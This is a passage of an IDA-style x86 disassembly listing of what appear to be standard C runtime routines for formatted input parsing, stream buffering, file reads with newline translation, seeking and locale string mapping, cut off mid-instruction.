jmp loc_41DEF3 ; --------------------------------------------------------------------------- loc_41DFC8: ; CODE XREF: sub_41D797+788j ; sub_41D797+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx loc_41DFD6: ; CODE XREF: sub_41D797+756j ; sub_41D797+819j cmp [ebp+var_17], 0 jz loc_41E0BC mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_41E0BC ; --------------------------------------------------------------------------- loc_41DFF8: ; CODE XREF: sub_41D797+74Cj cmp [ebp+var_F], 0 jnz loc_41E0B4 loc_41E002: ; CODE XREF: sub_41D797+90Aj cmp esi, 78h jz short loc_41E046 cmp esi, 70h jz short loc_41E046 cmp dword_433E7C, 1 jle short loc_41E021 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E021: ; CODE XREF: sub_41D797+87Cj mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41E02C: ; CODE XREF: sub_41D797+888j test eax, eax jz short loc_41E0A6 cmp esi, 6Fh jnz short loc_41E03F cmp ebx, 38h jge short loc_41E0A6 shl edi, 3 jmp short loc_41E07E ; --------------------------------------------------------------------------- loc_41E03F: ; CODE XREF: sub_41D797+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_41E07E ; --------------------------------------------------------------------------- loc_41E046: ; CODE XREF: sub_41D797+86Ej ; sub_41D797+873j cmp dword_433E7C, 1 jle short loc_41E05E push 80h push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41E06B ; --------------------------------------------------------------------------- loc_41E05E: ; CODE XREF: sub_41D797+8B6j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 80h loc_41E06B: ; CODE XREF: sub_41D797+8C5j test eax, eax jz short loc_41E0A6 push ebx shl edi, 4 call sub_41E1BC mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41E07E: ; CODE XREF: sub_41D797+8A6j ; sub_41D797+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_41E090 dec [ebp+var_C] jz short loc_41E0B4 loc_41E090: ; CODE XREF: sub_41D797+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41E002 ; --------------------------------------------------------------------------- loc_41E0A6: ; CODE XREF: sub_41D797+897j ; sub_41D797+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx loc_41E0B4: ; CODE XREF: sub_41D797+865j ; sub_41D797+8F7j cmp [ebp+var_17], 0 jz short loc_41E0BC neg edi loc_41E0BC: ; CODE XREF: sub_41D797+843j ; sub_41D797+85Cj ... cmp esi, 46h jnz short loc_41E0C5 and [ebp+var_1C], 0 loc_41E0C5: ; CODE XREF: sub_41D797+928j cmp [ebp+var_1C], 0 jz loc_41E19D cmp [ebp+var_E], 0 jnz short loc_41E0FE inc [ebp+var_34] loc_41E0D8: ; CODE XREF: sub_41D797+23Bj cmp [ebp+var_30], 0 jz short loc_41E0EE mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_41E0FE ; --------------------------------------------------------------------------- loc_41E0EE: ; CODE XREF: sub_41D797+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_41E0FB mov [eax], edi jmp short loc_41E0FE ; --------------------------------------------------------------------------- loc_41E0FB: ; CODE XREF: sub_41D797+95Ej mov [eax], di loc_41E0FE: ; CODE XREF: sub_41D797+241j ; sub_41D797+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_41E14B ; --------------------------------------------------------------------------- loc_41E109: ; CODE XREF: sub_41D797+93j inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_41E178 mov ecx, off_433C70 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41E14B inc [ebp+var_4] push edi call sub_41E1F3 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_41E186 dec [ebp+var_4] loc_41E14B: ; CODE XREF: sub_41D797+970j ; sub_41D797+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41E161 cmp byte ptr [esi], 25h jnz short loc_41E1A3 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_41E1A3 mov esi, eax loc_41E161: ; CODE XREF: sub_41D797+9B8j mov al, [esi] test al, al jnz loc_41D7C1 jmp short loc_41E19D ; --------------------------------------------------------------------------- loc_41E16D: ; CODE XREF: sub_41D797+1F4j ; sub_41D797+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_41E17D ; --------------------------------------------------------------------------- loc_41E178: ; CODE XREF: sub_41D797+98Aj dec [ebp+var_4] push edi push ebx loc_41E17D: ; CODE XREF: sub_41D797+9DFj call sub_41E20D pop ecx pop ecx jmp short loc_41E19D ; --------------------------------------------------------------------------- loc_41E186: ; CODE XREF: sub_41D797+9AFj dec [ebp+var_4] push edi push eax call sub_41E20D dec [ebp+var_4] push edi push ebx call sub_41E20D add esp, 10h loc_41E19D: ; CODE XREF: sub_41D797+1Fj ; sub_41D797+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41E1B4 loc_41E1A3: ; CODE XREF: sub_41D797+9BDj ; sub_41D797+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_41E1B7 cmp [ebp+var_15], al jnz short loc_41E1B7 or eax, 0FFFFFFFFh jmp short loc_41E1B7 ; --------------------------------------------------------------------------- loc_41E1B4: ; CODE XREF: sub_41D797+A0Aj mov eax, [ebp+var_34] loc_41E1B7: ; CODE XREF: sub_41D797+A11j ; sub_41D797+A16j ... pop edi pop esi pop ebx leave retn sub_41D797 endp ; =============== S U B R O U T I N E ======================================= sub_41E1BC proc near ; CODE XREF: sub_41D797+7A3p ; sub_41D797+8DCp arg_0 = dword ptr 4 cmp dword_433E7C, 1 push esi jle short loc_41E1D6 mov esi, [esp+4+arg_0] push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_41E1E5 ; --------------------------------------------------------------------------- loc_41E1D6: ; CODE XREF: sub_41E1BC+8j mov esi, [esp+4+arg_0] mov eax, off_433C70 mov al, [eax+esi*2] and eax, 4 loc_41E1E5: ; CODE XREF: sub_41E1BC+18j test eax, eax jnz short loc_41E1EF and esi, 0FFFFFFDFh sub esi, 7 loc_41E1EF: ; CODE XREF: sub_41E1BC+2Bj mov eax, esi pop esi retn sub_41E1BC endp ; =============== S U B R O U T I N E ======================================= sub_41E1F3 proc near ; CODE XREF: sub_41D797+1E1p ; sub_41D797+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_41E205 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_41E205: ; CODE XREF: sub_41E1F3+7j push edx call sub_41E248 pop ecx retn sub_41E1F3 endp ; =============== S U B R O U T I N E ======================================= sub_41E20D proc near ; CODE XREF: sub_41D797+6Bp ; sub_41D797+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_41E223 push [esp+arg_4] push [esp+4+arg_0] call sub_420FAF pop ecx pop ecx locret_41E223: ; CODE XREF: sub_41E20D+5j retn sub_41E20D endp ; =============== S U B R O U T I N E ======================================= sub_41E224 proc near ; CODE XREF: sub_41D797+63p ; sub_41D797+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_41E22A: ; CODE XREF: sub_41E224+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_41E1F3 mov edi, eax push edi call sub_420F60 pop ecx test eax, eax pop ecx jnz short loc_41E22A mov eax, edi pop edi pop esi retn sub_41E224 endp ; =============== S U B R O U T I N E ======================================= sub_41E248 proc near ; CODE XREF: sub_418A86+A9p ; sub_41900C+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41E31C test al, 40h jnz loc_41E31C test al, 2 jz short loc_41E26E or al, 20h mov [esi+0Ch], eax jmp loc_41E31C ; --------------------------------------------------------------------------- loc_41E26E: ; CODE XREF: sub_41E248+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41E282 push esi call sub_41F9D8 pop ecx jmp short loc_41E287 ; --------------------------------------------------------------------------- loc_41E282: ; CODE XREF: sub_41E248+2Fj mov eax, [esi+8] mov [esi], eax loc_41E287: ; CODE XREF: sub_41E248+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41E321 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41E30B cmp eax, 0FFFFFFFFh jz short loc_41E30B mov edx, [esi+0Ch] test dl, 82h jnz short loc_41E2E0 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41E2C9 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4CECE0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41E2CE ; --------------------------------------------------------------------------- loc_41E2C9: ; CODE XREF: sub_41E248+6Bj mov edi, offset dword_4362F0 loc_41E2CE: ; CODE XREF: sub_41E248+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41E2E0 or dh, 20h mov [esi+0Ch], edx loc_41E2E0: ; CODE XREF: sub_41E248+62j ; sub_41E248+90j cmp dword ptr [esi+18h], 200h jnz short loc_41E2FD mov ecx, [esi+0Ch] test cl, 8 jz short loc_41E2FD test ch, 4 jnz short loc_41E2FD mov dword ptr [esi+18h], 1000h loc_41E2FD: ; CODE XREF: sub_41E248+9Fj ; sub_41E248+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E30B: ; CODE XREF: sub_41E248+55j ; sub_41E248+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41E31C: ; CODE XREF: sub_41E248+Aj ; sub_41E248+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41E248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E321 proc near ; CODE XREF: sub_418A86+90p ; sub_41E248+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4CEDE0 jnb loc_41E4FE mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4CECE0h[eax*4] mov eax, dword_4CECE0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41E4FE and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41E3D6 test dl, 2 jnz short loc_41E3D6 test dl, 48h jz short loc_41E396 mov al, [eax+5] cmp al, 0Ah jz short loc_41E396 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41E396: ; CODE XREF: sub_41E321+56j ; sub_41E321+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 26510A0h test eax, eax jnz short loc_41E3E9 call near ptr 2670ADCh nop push 5 pop ecx cmp eax, ecx jnz short loc_41E3D1 mov dword_4CD9B4, 9 mov dword_4CD9B8, ecx jmp loc_41E50F ; --------------------------------------------------------------------------- loc_41E3D1: ; CODE XREF: sub_41E321+99j cmp eax, 6Dh jnz short loc_41E3DD loc_41E3D6: ; CODE XREF: sub_41E321+4Cj ; sub_41E321+51j xor eax, eax jmp loc_41E512 ; --------------------------------------------------------------------------- loc_41E3DD: ; CODE XREF: sub_41E321+B3j push eax call sub_41EF44 pop ecx jmp loc_41E50F ; --------------------------------------------------------------------------- loc_41E3E9: ; CODE XREF: sub_41E321+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41E4F9 test edx, edx jz short loc_41E40E cmp byte ptr [edi], 0Ah jnz short loc_41E40E or al, 4 jmp short loc_41E410 ; --------------------------------------------------------------------------- loc_41E40E: ; CODE XREF: sub_41E321+E2j ; sub_41E321+E7j and al, 0FBh loc_41E410: ; CODE XREF: sub_41E321+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41E4F3 loc_41E428: ; CODE XREF: sub_41E321+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41E4E3 cmp al, 0Dh jz short loc_41E444 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E444: ; CODE XREF: sub_41E321+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41E462 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41E459 add [ebp+arg_8], 2 jmp short loc_41E4B7 ; --------------------------------------------------------------------------- loc_41E459: ; CODE XREF: sub_41E321+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E462: ; CODE XREF: sub_41E321+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 26510A0h nop test eax, eax jnz short loc_41E48A nop call near ptr 2670ADCh test eax, eax jnz short loc_41E4D1 loc_41E48A: ; CODE XREF: sub_41E321+15Dj cmp [ebp+var_C], 0 jz short loc_41E4D1 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41E4AC mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41E4B7 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E4AC: ; CODE XREF: sub_41E321+176j cmp edi, [ebp+arg_4] jnz short loc_41E4BC cmp [ebp+var_1], 0Ah jnz short loc_41E4BC loc_41E4B7: ; CODE XREF: sub_41E321+136j ; sub_41E321+17Dj mov byte ptr [edi], 0Ah jmp short loc_41E4D4 ; --------------------------------------------------------------------------- loc_41E4BC: ; CODE XREF: sub_41E321+18Ej ; sub_41E321+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_41E517 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41E4D5 loc_41E4D1: ; CODE XREF: sub_41E321+167j ; sub_41E321+16Dj mov byte ptr [edi], 0Dh loc_41E4D4: ; CODE XREF: sub_41E321+199j inc edi loc_41E4D5: ; CODE XREF: sub_41E321+11Ej ; sub_41E321+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41E428 jmp short loc_41E4F3 ; --------------------------------------------------------------------------- loc_41E4E3: ; CODE XREF: sub_41E321+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41E4F3 or al, 2 mov [esi], al loc_41E4F3: ; CODE XREF: sub_41E321+101j ; sub_41E321+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41E4F9: ; CODE XREF: sub_41E321+DAj mov eax, [ebp+var_8] jmp short loc_41E512 ; --------------------------------------------------------------------------- loc_41E4FE: ; CODE XREF: sub_41E321+12j ; sub_41E321+39j and dword_4CD9B8, 0 mov dword_4CD9B4, 9 loc_41E50F: ; CODE XREF: sub_41E321+ABj ; sub_41E321+C3j or eax, 0FFFFFFFFh loc_41E512: ; CODE XREF: sub_41E321+B7j ; sub_41E321+1DBj pop edi pop esi pop ebx leave retn sub_41E321 endp ; =============== S U B R O U T I N E ======================================= sub_41E517 proc near ; CODE XREF: sub_418D0E+67p ; sub_419D23+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4CEDE0 push esi push edi jnb short loc_41E599 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4CECE0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_41E599 push eax call sub_41FE32 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E55B mov dword_4CD9B4, 9 jmp short loc_41E5AA ; --------------------------------------------------------------------------- loc_41E55B: ; CODE XREF: sub_41E517+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call near ptr 26F0000h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41E57B nop call near ptr 2670ADCh jmp short loc_41E57D ; --------------------------------------------------------------------------- loc_41E57B: ; CODE XREF: sub_41E517+5Aj xor eax, eax loc_41E57D: ; CODE XREF: sub_41E517+62j test eax, eax jz short loc_41E58A push eax call sub_41EF44 pop ecx jmp short loc_41E5AA ; --------------------------------------------------------------------------- loc_41E58A: ; CODE XREF: sub_41E517+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_41E5AD ; --------------------------------------------------------------------------- loc_41E599: ; CODE XREF: sub_41E517+Dj ; sub_41E517+2Aj and dword_4CD9B8, 0 mov dword_4CD9B4, 9 loc_41E5AA: ; CODE XREF: sub_41E517+42j ; sub_41E517+71j or eax, 0FFFFFFFFh loc_41E5AD: ; CODE XREF: sub_41E517+80j pop edi pop esi pop ebx retn sub_41E517 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E5B1 proc near ; CODE XREF: sub_418D0E+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_41E5CD mov [edi+4], ebx loc_41E5CD: ; CODE XREF: sub_41E5B1+17j push 1 push ebx push esi call sub_41E517 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_41E63B mov edx, [edi+0Ch] test dx, 108h jnz short loc_41E5F2 sub eax, [edi+4] jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E5F2: ; CODE XREF: sub_41E5B1+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_41E62C mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4CECE0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_41E643 mov edx, ecx loc_41E61D: ; CODE XREF: sub_41E5B1+79j cmp edx, eax jnb short loc_41E643 cmp byte ptr [edx], 0Ah jnz short loc_41E629 inc [ebp+var_8] loc_41E629: ; CODE XREF: sub_41E5B1+73j inc edx jmp short loc_41E61D ; --------------------------------------------------------------------------- loc_41E62C: ; CODE XREF: sub_41E5B1+50j test dl, 80h jnz short loc_41E643 mov dword_4CD9B4, 16h loc_41E63B: ; CODE XREF: sub_41E5B1+2Dj or eax, 0FFFFFFFFh jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E643: ; CODE XREF: sub_41E5B1+68j ; sub_41E5B1+6Ej ... cmp [ebp+var_4], 0 jnz short loc_41E651 mov eax, [ebp+var_8] jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E651: ; CODE XREF: sub_41E5B1+96j test byte ptr [edi+0Ch], 1 jz loc_41E6FC mov edx, [edi+4] test edx, edx jnz short loc_41E66A and [ebp+var_8], edx jmp loc_41E6FC ; --------------------------------------------------------------------------- loc_41E66A: ; CODE XREF: sub_41E5B1+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4CECE0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_41E6F6 push 2 push 0 push [ebp+var_C] call sub_41E517 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_41E6BD mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_41E6A8: ; CODE XREF: sub_41E5B1+104j cmp eax, ecx jnb short loc_41E6B7 cmp byte ptr [eax], 0Ah jnz short loc_41E6B4 inc [ebp+arg_0] loc_41E6B4: ; CODE XREF: sub_41E5B1+FEj inc eax jmp short loc_41E6A8 ; --------------------------------------------------------------------------- loc_41E6B7: ; CODE XREF: sub_41E5B1+F9j test byte ptr [edi+0Dh], 20h jmp short loc_41E6F1 ; --------------------------------------------------------------------------- loc_41E6BD: ; CODE XREF: sub_41E5B1+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_41E517 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_41E6E4 mov ecx, [edi+0Ch] test cl, 8 jz short loc_41E6E4 test ch, 4 jz short loc_41E6E7 loc_41E6E4: ; CODE XREF: sub_41E5B1+124j ; sub_41E5B1+12Cj mov eax, [edi+18h] loc_41E6E7: ; CODE XREF: sub_41E5B1+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_41E6F1: ; CODE XREF: sub_41E5B1+10Aj jz short loc_41E6F6 inc [ebp+arg_0] loc_41E6F6: ; CODE XREF: sub_41E5B1+D9j ; sub_41E5B1:loc_41E6F1j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_41E6FC: ; CODE XREF: sub_41E5B1+A4j ; sub_41E5B1+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_41E704: ; CODE XREF: sub_41E5B1+3Cj ; sub_41E5B1+8Dj ... pop edi pop esi pop ebx leave retn sub_41E5B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E709 proc near ; CODE XREF: sub_419063+47p ; sub_419063+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248E0 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4CDA60, edi jnz short loc_41E77F push edi push edi push 1 pop ebx push ebx push offset dword_4248D8 mov esi, 100h push esi push edi nop call near ptr 28A0000h test eax, eax jz short loc_41E75D mov dword_4CDA60, ebx jmp short loc_41E77F ; --------------------------------------------------------------------------- loc_41E75D: ; CODE XREF: sub_41E709+4Aj push edi push edi push ebx push offset dword_436EF4 push esi push edi nop call near ptr 2890000h test eax, eax jz loc_41E897 mov dword_4CDA60, 2 loc_41E77F: ; CODE XREF: sub_41E709+2Ej ; sub_41E709+52j cmp [ebp+arg_C], edi jle short loc_41E794 push [ebp+arg_C] push [ebp+arg_8] call sub_422467 pop ecx pop ecx mov [ebp+arg_C], eax loc_41E794: ; CODE XREF: sub_41E709+79j mov eax, dword_4CDA60 cmp eax, 2 jnz short loc_41E7BB push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2890000h jmp loc_41E899 ; --------------------------------------------------------------------------- loc_41E7BB: ; CODE XREF: sub_41E709+93j cmp eax, 1 jnz loc_41E897 cmp [ebp+arg_18], edi jnz short loc_41E7D1 mov eax, dword_4CDA58 mov [ebp+arg_18], eax loc_41E7D1: ; CODE XREF: sub_41E709+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 2650000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_41E897 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E82C ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_41E82C: ; CODE XREF: sub_41E709+10Ej cmp [ebp+var_24], edi jz short loc_41E897 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2650000h test eax, eax jz short loc_41E897 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 28A0000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_41E897 test byte ptr [ebp+arg_4+1], 4 jz short loc_41E8AB cmp [ebp+arg_14], edi jz loc_41E926 cmp esi, [ebp+arg_14] jg short loc_41E897 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 28A0000h test eax, eax jnz loc_41E926 loc_41E897: ; CODE XREF: sub_41E709+66j ; sub_41E709+B5j ... xor eax, eax loc_41E899: ; CODE XREF: sub_41E709+ADj ; sub_41E709+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41E8AB: ; CODE XREF: sub_41E709+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E8DF ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_41E8DF: ; CODE XREF: sub_41E709+1C2j cmp ebx, edi jz short loc_41E897 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 28A0000h test eax, eax jz short loc_41E897 cmp [ebp+arg_14], edi push edi push edi jnz short loc_41E906 push edi push edi jmp short loc_41E90C ; --------------------------------------------------------------------------- loc_41E906: ; CODE XREF: sub_41E709+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_41E90C: ; CODE XREF: sub_41E709+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 27D0000h mov esi, eax cmp esi, edi jz loc_41E897 loc_41E926: ; CODE XREF: sub_41E709+165j ; sub_41E709+188j mov eax, esi jmp loc_41E899 sub_41E709 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E92D proc near ; CODE XREF: sub_41ECF1+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_41EAC6 mov esi, eax pop ecx cmp esi, dword_4CEDE4 mov [ebp+arg_0], esi jz loc_41EABA xor ebx, ebx cmp esi, ebx jz loc_41EAB0 xor edx, edx mov eax, offset dword_436010 loc_41E961: ; CODE XREF: sub_41E92D+41j cmp [eax], esi jz short loc_41E9D7 add eax, 30h inc edx cmp eax, offset dword_436100 jl short loc_41E961 lea eax, [ebp+var_18] push eax push esi nop call near ptr 28A138Dh cmp eax, 1 jnz loc_41EAA8 push 40h xor eax, eax pop ecx mov edi, offset byte_4CEF00 cmp [ebp+var_18], 1 mov dword_4CEDE4, esi rep stosd stosb mov dword_4CF004, ebx jbe loc_41EA96 cmp [ebp+var_12], 0 jz loc_41EA6C lea ecx, [ebp+var_11] loc_41E9B4: ; CODE XREF: sub_41E92D+139j mov dl, [ecx] test dl, dl jz loc_41EA6C movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41E9C5: ; CODE XREF: sub_41E92D+A8j cmp eax, edx ja loc_41EA60 or byte_4CEF01[eax], 4 inc eax jmp short loc_41E9C5 ; --------------------------------------------------------------------------- loc_41E9D7: ; CODE XREF: sub_41E92D+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4CEF00 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_436020[esi] loc_41E9F3: ; CODE XREF: sub_41E92D+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41EA26 loc_41E9FA: ; CODE XREF: sub_41E92D+F7j mov dl, [ecx+1] test dl, dl jz short loc_41EA26 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41EA1F mov edx, [ebp+var_4] mov dl, 